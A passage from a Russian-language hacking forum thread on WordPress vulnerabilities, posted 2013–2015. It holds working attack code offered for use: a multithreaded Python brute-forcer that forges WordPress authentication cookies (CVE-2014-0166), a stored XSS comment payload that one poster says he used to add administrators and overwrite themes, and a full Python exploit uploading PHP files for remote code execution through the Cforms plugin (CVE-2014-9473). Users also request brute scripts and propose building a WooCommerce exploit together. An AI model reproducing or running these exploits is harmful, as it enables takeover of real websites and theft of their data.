Старый 10.12.2013, 12:17   #51
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
http://vagosec.org/2013/09/wordpress...ect-injection/
wp<3.6.1, mysql utf8 table
Пишет, что есть класс в каком-то популярном плагине, дающий rce.
Эксплойт для плагина Lightbox Plus ColorBox: http://vagosec.org/2013/12/wordpress-rce-exploit/
SynQ вне форума   Ответить с цитированием
Старый 12.04.2014, 10:17   #52
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2014-0166 WordPress <3.8.2 <3.7.2 cookie forge

CVE-2014-0166

Цитата:
The wp_validate_auth_cookie function in wp-includes/pluggable.php in WordPress before 3.7.2 and 3.8.x before 3.8.2 does not properly determine the validity of authentication cookies, which makes it easier for remote attackers to obtain access via a forged cookie.
Судя по твиттеру баг на приведение и сравнение, вроде
var_dump('0' == 0e123456789) = true

Презентация по теме (первые 10 слайдов):
http://gregorkopf.de/slides_berlinsides_2010.pdf


дифф: https://core.trac.wordpress.org/changeset/28054

Код:
    $hash = hash_hmac('md5', $username . '|' . $expiration, $key); 
 
-    if ( $hmac != $hash ) { 
+    if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) { 
        do_action('auth_cookie_bad_hash', $cookie_elements); 
        return false;
Код:
515	function wp_validate_auth_cookie($cookie = '', $scheme = '') {
516	        if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) {
517	                do_action('auth_cookie_malformed', $cookie, $scheme);
518	                return false;
519	        }
520	
521	        extract($cookie_elements, EXTR_OVERWRITE);
522	
523	        $expired = $expiration;
524	
525	        // Allow a grace period for POST and AJAX requests
526	        if ( defined('DOING_AJAX') || 'POST' == $_SERVER['REQUEST_METHOD'] )
527	                $expired += HOUR_IN_SECONDS;
528	
529	        // Quick check to see if an honest cookie has expired
530	        if ( $expired < time() ) {
531	                do_action('auth_cookie_expired', $cookie_elements);
532	                return false;
533	        }
534	
535	        $user = get_user_by('login', $username);
536	        if ( ! $user ) {
537	                do_action('auth_cookie_bad_username', $cookie_elements);
538	                return false;
539	        }
540	
541	        $pass_frag = substr($user->user_pass, 8, 4);
542	
543	        $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
544	        $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
545	
546	        if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {
547	                do_action('auth_cookie_bad_hash', $cookie_elements);
548	                return false;
549	        }
550	
551	        if ( $expiration < time() ) // AJAX/POST grace period set above
552	                $GLOBALS['login_grace_period'] = 1;
553	
554	        do_action('auth_cookie_valid', $cookie_elements, $user);
555	
556	        return $user->ID;
557	}
$expiration используется дважды
Цитата:
543 $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
544 $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
А значит 5500 попытками не обойтись. Разве что повезет.

PS https://labs.mwrinfosecurity.com/blo...ookie-forgery/
По их подсчетам в среднем нужно 300 млн. попыток.

Последний раз редактировалось SynQ; 15.04.2014 в 10:08..
SynQ вне форума   Ответить с цитированием
Старый 06.10.2014, 16:22   #53
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Есть у кого нибудь полный скрипт брута?
http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
z0mbie вне форума   Ответить с цитированием
Старый 10.10.2014, 15:31   #54
AlexSam
 
Регистрация: 23.03.2011
Сообщений: 10
Репутация: 0
По умолчанию

Цитата:
Сообщение от z0mbie Посмотреть сообщение
Есть у кого нибудь полный скрипт брута?
http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
дофига больно брутить, ~7млн запросов в среднем получится
AlexSam вне форума   Ответить с цитированием
Старый 13.10.2014, 02:42   #55
recfrf
 
Регистрация: 29.07.2010
Сообщений: 40
Репутация: 1
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
CVE-2014-0166
По их подсчетам в среднем нужно 300 млн. попыток.
PHP код:
#!/usr/bin/env python

"""
This script is the EXP of CVE-2014-0166.
By varying the expiration value of the cookie, an attacker can find a 'zero hash' to forge a valid cookie. 
However, on average, we need 300 million requets to find a 'zero hash'. 
Therefore I wrote this multithread script.

Details: http://www.ettack.org/wordpress-cookie-forgery/
Author: Ettack
Email: ettack@gmail.com
"""

import requests
import hmac
import threading
from hashlib import md5
from sys import stdout
from time import sleep
,ctime,gmtime,time
from os import _exit

initnum 
0     #Set the initial value here while performing distributed computing.
threadNum 500
errTolerance 
0     #If ErrorRequests/AllRequests > errTolerance, then decrease threads number

lock threading.Lock()

url 'http://test.com'
user 'ettack'


expiration 1400000000+initnum
cnt 
0+initnum


cookie_k 
'wordpress_' md5(url).hexdigest()

def testCookie(url,user,expr):
    global 
errcnt
    cookie_v 
user '|' str(expr) + '|0'
    
cookie = {cookie_k:cookie_v}
    try:
        
requests.head(url '/wp-admin/',cookies=cookie)
    
except requests.exceptions.ConnectionError:
        
errcnt += 1
        
# print "Connection ERROR occured in %s"%(threading.current_thread())
        
sleep(8)
        return 
"Err"
    
statcode r.status_code
    
if statcode == 200
        return 
cookie
    
if statcode != 302:
        
errcnt += 1
        sleep
(5)
        return 
"Err"
    
return False


def action
():
    
lock.acquire()
    global 
expiration,cnt
    expiration 
+= 1
    cnt 
+= 1
    stdout
.flush()
    
stdout.write("\r%s"%(cnt))
    
lock.release()
    try:
        
#Copy expiration value to expr.As expiration would be increased by other threads.
        
expr expiration
        
#Loop until no error
        
while True:
            
result testCookie(url,user,expr)
            if 
result != "Err": break
    
except KeyboardInterrupt:
        print 
"Interrupted at %s"%(expiration)
        
_exit(0)
    
except Exception,e:
        print 
e

    
#Cookie found! Output to screen and file (wp_result). Output consumed time as well.
    
if result != False:
        print 
"\n\nCongratulations!!! Found valid cookie:"
        
print str(result)
        
dtime time()-stime
        timestr 
gmtime(dtime)
        print 
"\nRunning time: %sd %sh %sm %ss"%(timestr.tm_mday-1,timestr.tm_hour,timestr.tm_min,timestr.tm_sec)    
        
with open("wp_result","w") as fp:
            
fp.write(str(result))
            
fp.close()
        
_exit(0)


stime time()
print 
"Start at %s"%(ctime())
print 
"Guessing with %d threads...\n"%(threadNum)

#Main part of guessing program
while True:
    
threads = []
    
errcnt 0
    
    
for i in xrange(threadNum):
        
threading.Thread(target action)
        
threads.append(t)
        
t.start()

    for 
t in threads:
        
t.join()
    
    
#Adjust threads number
    
errRate float(errcnt)/threadNum 
    
if errRate errTolerance:
        
newThreadNum int(threadNum * (1-0.5*errRate))
         print 
"\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum)
         
threadNum newThreadNum
    
#Log process to wp_log
    
with open("wp_log","w") as fp:
        
fp.write(str(cnt))
        
fp.close() 
recfrf вне форума   Ответить с цитированием
Старый 22.11.2014, 21:08   #56
recfrf
 
Регистрация: 29.07.2010
Сообщений: 40
Репутация: 1
По умолчанию

wp 3.0-3.9.2. Xss в комментарии,от любого юзера
(http://klikki.fi)
xss
PHP код:
[<a href="http://" title="]"></a>[" <!-- style=font-size:50px; onmouseover=alert('xss') ><!-- -->test<a></a>] 
если у кого получилось обойтись без onmouseover, скиньте в личку для самообразования, а так добился пока фреймом грузить страничку, добавлять админа, да тему перезаписывать.
зы. как же не вовремя выложили, сейчас всем письма валят от wp, срочно обновитесь

Последний раз редактировалось recfrf; 23.11.2014 в 02:47..
recfrf вне форума   Ответить с цитированием
Старый 06.03.2015, 13:24   #57
a.n.lekomtsev
 
Регистрация: 06.03.2015
Сообщений: 3
Репутация: 0
По умолчанию

https://wpvulndb.com/ тут много уязвимостей вордпресса и вроде как обновляются
a.n.lekomtsev вне форума   Ответить с цитированием
Старый 23.03.2015, 15:20   #58
d4d
 
Аватар для d4d
 
Регистрация: 23.05.2014
Сообщений: 2
Репутация: 2
По умолчанию

Плагин: Cforms 14.7
Домашняя страница плагина: https://wordpress.org/plugins/cforms2/
Уязвимость: Remote Code Execution via Unauthorised File upload
Уязвимый файл: lib_nonajax.php

Уязвимость присутствует из-за некорректных параметров фильтрации имен сохраняемых файлов. Уязвимости подвержены сайты, с настройками плагина по умолчанию. Версии плагина до 14.6.3 сохраняют эксплоит в папке плагина, версии после в папке с загрузками Wordpress.

Код:
# Exploit Title: Remote Code Execution via Unauthorised File upload in Cforms 14.7 
# Date: 2015-01-19
# Exploit Author: d4d
# Vendor Homepage: https://wordpress.org/plugins/cforms2/
# Software Link: https://downloads.wordpress.org/plugin/cforms2.zip
# Version: 14.7
# Tested on: Wordpress 4.0
# CVE : 2014-9473


import os
import requests
import re
import base64
import sys
from lxml import etree
from optparse import OptionParser


def main():
	print 'Cforms II File Upload + Remote Code Execution\n'
	
	text = 'Test text'
	text_mail = 'test@mail.com'

	parser = OptionParser()
	parser.add_option("-f", "--file", dest="file", help="file to upload", default = "itest.php", metavar="FILE")
	parser.add_option("-i", "--max-iterations", dest="iterations", help="Numbe of fields to iterate", default = "10")
	parser.add_option("-b", "--upload-file-name-bruteforce", dest="brute", help="Uploaded file name brute force", default = "10")
	parser.add_option("-n", "--cforms-form-number", dest="number", help="Cforms form number", default = "")
	parser.add_option("-c", "--cforms-home-dir", dest="home", help="Cforms form home dir", default = "/wp-content/plugins/cforms2/")
	parser.add_option("-u", "--url", dest="url", help="vulnerable url with contact form, example: http://127.0.0.1/Contact/")

	(opt, args) = parser.parse_args()
	options = opt.__dict__
	if not opt.url:   # if url is not given
		parser.error('URL not given')
	if not opt.file:
		parser.error('file not given')
	filename = options["file"]
	if os.path.isfile(filename) is not True:
		print 'No such file '+filename 
		return 0

	url = options['url']
	home = options["home"]
	i = options["iterations"]
	n = options["number"]
	b = options["brute"]
	
	s = requests.Session()
	
	r = s.get(url)
	if r.status_code != requests.codes.ok:
		print 'Error: website not found.'
		return 0
	
	tree = etree.HTML(r.text)
	# get cforms id
	if n is "":
		for x in xrange(2,10):
			for node in tree.xpath('//*[@id="cforms'+str(x)+'form"]'):
				if node is not None:
					n = str(x)
					break
	print 'Cforms form number is <'+n+'>'
	hidden = ['cf_working'+n,'cf_failure'+n,'cf_codeerr'+n,'cf_customerr'+n,'cf_popup'+n]
	fields = ['cf'+n+'_field_'+str(x) for x in xrange(1,int(i)+1)]
	required = {'sendbutton'+n:'1'}
	
	for f in fields:
		for node in tree.xpath('//*[@id="' + f + '"]'):
			if node is not None:
				if 'fldrequired' in node.get('class'):
					if 'fldemail' in node.get('class'):
						required[f] = text_mail
					else:
						required[f] = text
	
	for h in hidden:
		for node in tree.xpath('//*[@id="' + h + '"]'):
			if node is not None:
				required[h] = node.get('value')
	
	for node in tree.xpath('//*[@id="cforms_captcha'+n+'"]'):
		if node is not None:
			print 'Error: Cforms uses captcha. Sorry, you have to exploit it manually.'
			return 0
	
	files = {'cf_uploadfile'+n+'[]':('wow.php',open(filename))}
	r = s.post(url,data=required,files=files)
	
	if r.status_code != requests.codes.ok:
		print 'Error: post error.'
		print r.status_code
		return 0
	else:
		url1 = url + home + 'noid-wow.php'
		flag = 0
		if s.get(url1).status_code != requests.codes.ok:
			for l in xrange(1,int(b)):
				url1 =  url + home + str(l) + '-wow.php'
				print url1
				if s.get(url1).status_code == requests.codes.ok:
					flag = 1
					break
		else:
			flag = 1
		if flag == 1:
			print "Succes! Uploaded file: " + url1
		else:
			print "Uploaded file not found. Try to increase -b flag or change upload dir. 14.6.3 version and above use wordpress upload folder"

main()
__________________
Wow Wow
d4d вне форума   Ответить с цитированием
Старый 30.03.2015, 02:32   #59
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Цитата:
Сообщение от a.n.lekomtsev Посмотреть сообщение
https://wpvulndb.com/ тут много уязвимостей вордпресса и вроде как обновляются
довольно удобно
tex вне форума   Ответить с цитированием
Старый 07.07.2015, 01:54   #60
CyberSurgeon
 
Регистрация: 03.06.2014
Сообщений: 9
Репутация: 0
По умолчанию Object Injection Vulnerability in WooCommerce

https://blog.sucuri.net/2015/06/security-advisory-object-injection-vulnerability-in-woocommerce.html

Много подробностей, а сплоита нет. Допилим вместе?
CyberSurgeon вне форума   Ответить с цитированием
Ответ

Метки
auth bypass, уязвимости wordpress, wordpress, wordpress plugin vuln, wordpress vulnerabilities

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot